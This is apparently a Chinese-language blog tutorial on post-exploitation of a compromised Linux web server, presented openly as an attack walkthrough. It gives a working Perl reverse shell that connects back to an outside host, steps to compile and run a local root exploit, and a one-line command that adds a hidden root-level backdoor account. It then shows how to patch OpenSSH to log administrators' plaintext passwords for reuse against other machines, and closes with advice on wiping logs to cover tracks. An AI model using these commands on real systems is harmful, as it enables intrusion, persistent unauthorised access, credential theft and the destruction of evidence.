0x01 場景
現在有個攻擊場景,就是你拿到了linux外網服務器的webshell,要做內網滲透前肯定要收集信息。其中可以做的一個工作是重新編譯ssh來記錄管理員的密碼信息,信息可以用來撞其他機器的密碼。下面就從linux的提權開始
0x02 過程
反彈shell
linux下為啥要反彈出一個shell來提權,這個你可以用webshell來執行一次溢出exp。
自己外網服務器 nc -l -vv -p 1234 ,監聽1234端口
webshell如果能訪問外網,則用bash,python,perl等腳本反向連接。把代碼寫入/tmp/(也可以是其他目錄)並執行。例如perl代碼
Perl
use Socket;$i="www.hackblog.cn" //外網服務器地址,可以是IP$p=1234; //反向連接端口 socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S");open(STDOUT,">&S"); open(STDERR,">&S");exec("/bin/sh -i");};
在/tmp/寫入找到的exp源文件,利用webshell或者反彈過來的shell編譯,gcc -o root.out exp.c
賦予 root.out 執行權限, chmod +x root.out
用反彈shell執行exp,完成后查看當前權限 ./root.out
重新編譯ssh
第一步順利的話就可以直接一句話加一個自己的賬戶了
Bash useradd -p `openssl passwd -1 -salt 'xxx' luo` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/luo luo //一句添加賬戶密碼luo:luo
ssh登陸上去,cat /etc/passwd 看看都有哪些賬戶,然后last看看最近都哪些鬼登陸了。既然shadow不好破解,那么我想在這些賬戶下一次登陸的時候記錄他們的密碼怎么辦。參考百度上的文章,大概修改一下步驟,提幾句注意事項。
備份原來的ssh,mv /etc/ssh /etc/ssh_bak
下載ssh源文件。網上用的6.6,我看版本不是很舊,就直接用
wget http://openbsd.cs.toronto.edu/pub/OpenBSD/OpenSSH/portable/openssh-6.6p1.tar.gz tar -zxvf openssh-6.6p1.tar.gz 解壓后進入解壓出的目錄 vi auth-passwd.c 編輯這個文件,查找auth_password這個函數,在函數的第一行加入一句 logit("username: %s password: %s", authctxt->user, password); 保存之后 ./configure --sysconfdir=/etc/ssh --without-zlib-version-check --with-md5-passwords make make install 重啟ssh服務 service ssh restart
接下來,通過ssh不管登陸成功和失敗都會把賬號密碼記錄在日志里。這個日志在/var/log/下,Ubuntu的是auth.log,其他系統可以看日志最后修改的時間,隨便翻翻最新的日志就行。過一段時間就找到日志看看有木有魚兒上鈎。建議先清空日志,這樣下次有登陸信息就可以很方便的觀察到文件大小的變化。
注意事項
滲透最后工作就是清除自己的痕跡了。可以echo >/var/log/xxx 這么清除。千萬別直接刪除日志文件,這樣的話就不會再自動生成日志了,即使新建一個同名文件也不行。如果你已經刪了,請自行百度解決辦法。